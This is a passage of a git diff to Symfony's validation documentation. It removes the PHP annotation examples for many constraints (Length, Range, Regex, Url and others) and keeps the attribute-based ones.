+++ b/reference/constraints/Length.rst
@@ -17,26 +17,6 @@ and ``50``, you might add the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Participant.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Participant
-        {
-            /**
-             * @Assert\Length(
-             *      min = 2,
-             *      max = 50,
-             *      minMessage = "Your first name must be at least {{ limit }} characters long",
-             *      maxMessage = "Your first name cannot be longer than {{ limit }} characters"
-             * )
-             */
-            protected $firstName;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Participant.php
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index 22ebce5c094..913624e46d8 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -22,28 +22,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThan(5)
-             */
-            protected $siblings;
-
-            /**
-             * @Assert\LessThan(
-             *     value = 80
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -124,21 +102,6 @@ that a date must be in the past like this:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThan("today")
-             */
-            protected $dateOfBirth;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -196,21 +159,6 @@ dates. If you want to fix the timezone, append it to the date string:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThan("today UTC")
-             */
-            protected $dateOfBirth;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -268,21 +216,6 @@ can check that a person must be at least 18 years old like this:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThan("-18 years")
-             */
-            protected $dateOfBirth;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 05e2dedbfe5..91f5e50b6f4 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -21,28 +21,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThanOrEqual(5)
-             */
-            protected $siblings;
-
-            /**
-             * @Assert\LessThanOrEqual(
-             *     value = 80
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -123,21 +101,6 @@ that a date must be today or in the past like this:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThanOrEqual("today")
-             */
-            protected $dateOfBirth;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -195,21 +158,6 @@ dates. If you want to fix the timezone, append it to the date string:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThanOrEqual("today UTC")
-             */
-            protected $dateOfBirth;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -267,21 +215,6 @@ can check that a person must be at least 18 years old like this:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThanOrEqual("-18 years")
-             */
-            protected $dateOfBirth;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index 7df56e456cf..f1c5b91627d 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -23,23 +23,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\Locale(
-             *     canonicalize = true
-             * )
-             */
-            protected $locale;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index cfc6fc54c4c..f89064030a6 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -19,21 +19,6 @@ will contain a credit card number.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Transaction.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Transaction
-        {
-            /**
-             * @Assert\Luhn(message="Please check your credit card number.")
-             */
-            protected $cardNumber;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Transaction.php
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index c77d0586cbf..388a13fb222 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -19,21 +19,6 @@ The following constraint ensures that the ``withdraw`` of a  bank account
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/TransferItem.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class TransferItem
-        {
-            /**
-             * @Assert\Negative
-             */
-            protected $withdraw;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/TransferItem.php
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index 0aead7184e3..be6f3bc7566 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -18,21 +18,6 @@ is a negative number or equal to zero:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/TransferItem.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class UnderGroundGarage
-        {
-            /**
-             * @Assert\NegativeOrZero
-             */
-            protected $level;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/TransferItem.php
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index b273d195eaa..6cf4770f21f 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -20,21 +20,6 @@ class were not blank, you could do the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\NotBlank
-             */
-            protected $firstName;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/NotCompromisedPassword.rst b/reference/constraints/NotCompromisedPassword.rst
index 74729853128..0e4bf194e68 100644
--- a/reference/constraints/NotCompromisedPassword.rst
+++ b/reference/constraints/NotCompromisedPassword.rst
@@ -18,21 +18,6 @@ The following constraint ensures that the ``rawPassword`` property of the
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\NotCompromisedPassword
-             */
-            protected $rawPassword;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index 993402f0964..e957971ade0 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -26,28 +26,6 @@ the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\NotEqualTo("Mary")
-             */
-            protected $firstName;
-
-            /**
-             * @Assert\NotEqualTo(
-             *     value = 15
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index 381aa5de2b5..c95a791a7bb 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -27,28 +27,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\NotIdenticalTo("Mary")
-             */
-            protected $firstName;
-
-            /**
-             * @Assert\NotIdenticalTo(
-             *     value = 15
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst
index 44a774757c9..ff0f8eaf27a 100644
--- a/reference/constraints/NotNull.rst
+++ b/reference/constraints/NotNull.rst
@@ -19,21 +19,6 @@ class were not strictly equal to ``null``, you would:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\NotNull
-             */
-            protected $firstName;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index b918c21695a..523a03be65c 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -19,21 +19,6 @@ positive number (greater than zero):
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Employee.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Employee
-        {
-            /**
-             * @Assert\Positive
-             */
-            protected $income;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Employee.php
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index 2d39d0d6d19..7596bdf3e50 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -18,21 +18,6 @@ is positive or zero:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\PositiveOrZero
-             */
-            protected $siblings;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index 9dbbd4cdae2..4846c01fd2c 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -17,25 +17,6 @@ you might add the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Participant.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Participant
-        {
-            /**
-             * @Assert\Range(
-             *      min = 120,
-             *      max = 180,
-             *      notInRangeMessage = "You must be between {{ min }}cm and {{ max }}cm tall to enter",
-             * )
-             */
-            protected $height;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Participant.php
@@ -113,24 +94,6 @@ date must lie within the current year like this:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Event.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Event
-        {
-            /**
-             * @Assert\Range(
-             *      min = "first day of January",
-             *      max = "first day of January next year"
-             * )
-             */
-            protected $startDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Event.php
@@ -199,24 +162,6 @@ dates. If you want to fix the timezone, append it to the date string:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Event.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Event
-        {
-            /**
-             * @Assert\Range(
-             *      min = "first day of January UTC",
-             *      max = "first day of January next year UTC"
-             * )
-             */
-            protected $startDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Event.php
@@ -285,24 +230,6 @@ can check that a delivery date starts within the next five hours like this:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\Range(
-             *      min = "now",
-             *      max = "+5 hours"
-             * )
-             */
-            protected $deliveryDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 0edcf44aae0..6f94c5c151e 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -19,21 +19,6 @@ more word characters at the beginning of your string:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Regex("/^\w+/")
-             */
-            protected $description;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -97,25 +82,6 @@ it a custom message:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Regex(
-             *     pattern="/\d/",
-             *     match=false,
-             *     message="Your name cannot contain a number"
-             * )
-             */
-            protected $firstName;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -208,24 +174,6 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Regex(
-             *     pattern     = "/^[a-z]+$/i",
-             *     htmlPattern = "[a-zA-Z]+"
-             * )
-             */
-            protected $name;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 49eb07c5aa0..09fed581d25 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -36,30 +36,6 @@ You can validate each of these constraints sequentially to solve these issues:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Localization/Place.php
-        namespace App\Localization;
-
-        use App\Validator\Constraints as AcmeAssert;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Place
-        {
-            /**
-             * @var string
-             *
-             * @Assert\Sequentially({
-             *     @Assert\NotNull(),
-             *     @Assert\Type("string"),
-             *     @Assert\Length(min=10),
-             *     @Assert\Regex(Place::ADDRESS_REGEX),
-             *     @AcmeAssert\Geolocalizable(),
-             * })
-             */
-            public $address;
-        }
-
     .. code-block:: php-attributes
 
         // src/Localization/Place.php
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index 91904fb5c9d..03f664c3556 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -18,22 +18,6 @@ of the day when the event starts:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Event.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Event
-        {
-            /**
-             * @Assert\Time
-             * @var string A "H:i:s" formatted value
-             */
-            protected $startsAt;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Event.php
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index 3f6947e5e83..e410c5dee90 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -17,21 +17,6 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/UserSettings.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class UserSettings
-        {
-            /**
-             * @Assert\Timezone
-             */
-            protected $timezone;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/UserSettings.php
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 96c4bd9f211..b39431e2304 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -147,21 +147,6 @@ disable validating:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/BookCollection.php
-
-        // ... same as above
-
-        /**
-         * ...
-         * @Assert\Traverse(false)
-         */
-         class BookCollection implements \IteratorAggregate
-         {
-             // ...
-         }
-
     .. code-block:: php-attributes
 
         // src/Entity/BookCollection.php
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 2f5c14a2c88..ee460d1718f 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -22,39 +22,6 @@ This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\A
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Type("Symfony\Component\Mime\Address")
-             */
-            protected $emailAddress;
-
-            /**
-             * @Assert\Type("string")
-             */
-            protected $firstName;
-
-            /**
-             * @Assert\Type(
-             *     type="integer",
-             *     message="The value {{ value }} is not a valid {{ type }}."
-             * )
-             */
-            protected $age;
-
-            /**
-             * @Assert\Type(type={"alpha", "digit"})
-             */
-            protected $accessCode;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 6c2b8cdf48d..1ecdbf6659f 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -14,21 +14,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/File.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class File
-        {
-            /**
-             * @Assert\Ulid
-             */
-            protected $identifier;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/File.php
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 7a3e36c5aba..37207ea9f81 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -33,21 +33,6 @@ strings:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\Unique
-             */
-            protected $contactEmails;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 82b49480b95..47b90a05c37 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -14,21 +14,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Url
-             */
-            protected $bioUrl;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -110,23 +95,6 @@ Parameter        Description
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Url(
-             *    message = "The url '{{ value }}' is not a valid url",
-             * )
-             */
-            protected $bioUrl;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -201,23 +169,6 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Url(
-             *    protocols = {"http", "https", "ftp"}
-             * )
-             */
-            protected $bioUrl;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -291,23 +242,6 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Url(
-             *    relativeProtocol = true
-             * )
-             */
-            protected $bioUrl;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index c1632c3f7c7..ad2d0a3eda8 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -31,23 +31,6 @@ the user's current password:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Form/Model/ChangePassword.php
-        namespace App\Form\Model;
-
-        use Symfony\Component\Security\Core\Validator\Constraints as SecurityAssert;
-
-        class ChangePassword
-        {
-            /**
-             * @SecurityAssert\UserPassword(
-             *     message = "Wrong value for your current password"
-             * )
-             */
-            protected $oldPassword;
-        }
-
     .. code-block:: php-attributes
 
         // src/Form/Model/ChangePassword.php
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 7b3f355ed59..fff97d10171 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -17,21 +17,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/File.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class File
-        {
-            /**
-             * @Assert\Uuid
-             */
-            protected $identifier;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/File.php
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index ba4e789091c..3c0e1937708 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -42,48 +42,6 @@ stores an ``Address`` instance in the ``$address`` property::
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Address.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Address
-        {
-            /**
-             * @Assert\NotBlank
-             */
-            protected $street;
-
-            /**
-             * @Assert\NotBlank
-             * @Assert\Length(max=5)
-             */
-            protected $zipCode;
-        }
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\NotBlank
-             * @Assert\Length(min=4)
-             */
-            protected $firstName;
-
-            /**
-             * @Assert\NotBlank
-             */
-            protected $lastName;
-
-            protected $address;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Address.php
@@ -212,21 +170,6 @@ an invalid address. To prevent that, add the ``Valid`` constraint to the
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Valid
-             */
-            protected $address;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/validation.rst b/validation.rst
index 7eb6cfd47b8..5b9fbcb9ce8 100644
--- a/validation.rst
+++ b/validation.rst
@@ -24,13 +24,6 @@ install the validator before using it:
 .. code-block:: terminal
 
     $ composer require symfony/validator
-    
-If your project still uses annotations to define the validation constraints (as
-shown later in this article) you also need to install ``doctrine/annotations``:
-
-.. code-block:: terminal
-
-    $ composer require doctrine/annotations
 
 .. note::
 
@@ -61,7 +54,7 @@ application. The goal of validation is to tell you if the data of an object is
 valid. For this to work, you'll configure a list of rules (called
 :ref:`constraints <validation-constraints>`) that the object must follow in
 order to be valid. These rules are usually defined using PHP code or
-annotations but they can also be defined as ``.yaml`` or ``.xml`` files inside
+attributes but they can also be defined as ``.yaml`` or ``.xml`` files inside
 the ``config/validator/`` directory:
 
 For example, to indicate that the ``$name`` property must not be empty, add the
@@ -69,22 +62,6 @@ following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        // ...
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\NotBlank
-             */
-            private $name;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -299,27 +276,6 @@ literature genre mostly associated with the author, which can be set to either
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        // ...
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Choice(
-             *     choices = {"fiction", "non-fiction"},
-             *     message = "Choose a valid genre."
-             * )
-             */
-            private $genre;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -407,24 +363,6 @@ options can be specified in this way.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        // ...
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Choice({"fiction", "non-fiction"})
-             */
-            private $genre;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -547,22 +485,6 @@ class to have at least 3 characters.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-
-        // ...
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\NotBlank
-             * @Assert\Length(min=3)
-             */
-            private $firstName;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -654,25 +576,6 @@ this method must return ``true``:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        // ...
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\IsTrue(message="The password cannot match your first name")
-             */
-            public function isPasswordSafe()
-            {
-                // ... return true or false
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 0bec5c88c8b..3e2ca6dd2b9 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -127,27 +127,6 @@ You can use custom validators like the ones provided by Symfony itself:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/AcmeEntity.php
-        namespace App\Entity;
-
-        use App\Validator as AcmeAssert;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class AcmeEntity
-        {
-            // ...
-
-            /**
-             * @Assert\NotBlank
-             * @AcmeAssert\ContainsAlphanumeric(mode="loose")
-             */
-            protected $name;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/AcmeEntity.php
@@ -275,7 +254,7 @@ not to the property:
         namespace App\Entity;
 
         use App\Validator as AcmeAssert;
-        
+
         /**
          * @AcmeAssert\ProtocolClass
          */
diff --git a/validation/groups.rst b/validation/groups.rst
index 60aa7efb2f2..8389d5fe238 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -15,33 +15,6 @@ user registers and when a user updates their contact information later:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Security\Core\User\UserInterface;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User implements UserInterface
-        {
-            /**
-             * @Assert\Email(groups={"registration"})
-             */
-            private $email;
-
-            /**
-             * @Assert\NotBlank(groups={"registration"})
-             * @Assert\Length(min=7, groups={"registration"})
-             */
-            private $password;
-
-            /**
-             * @Assert\Length(min=2)
-             */
-            private $city;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index fb196a3b6e9..1ebd33affcc 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -15,38 +15,6 @@ username and the password are different only if all other validation passes
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Security\Core\User\UserInterface;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @Assert\GroupSequence({"User", "Strict"})
-         */
-        class User implements UserInterface
-        {
-            /**
-             * @Assert\NotBlank
-             */
-            private $username;
-
-            /**
-             * @Assert\NotBlank
-             */
-            private $password;
-
-            /**
-             * @Assert\IsTrue(message="The password cannot match your username", groups={"Strict"})
-             */
-            public function isPasswordSafe()
-            {
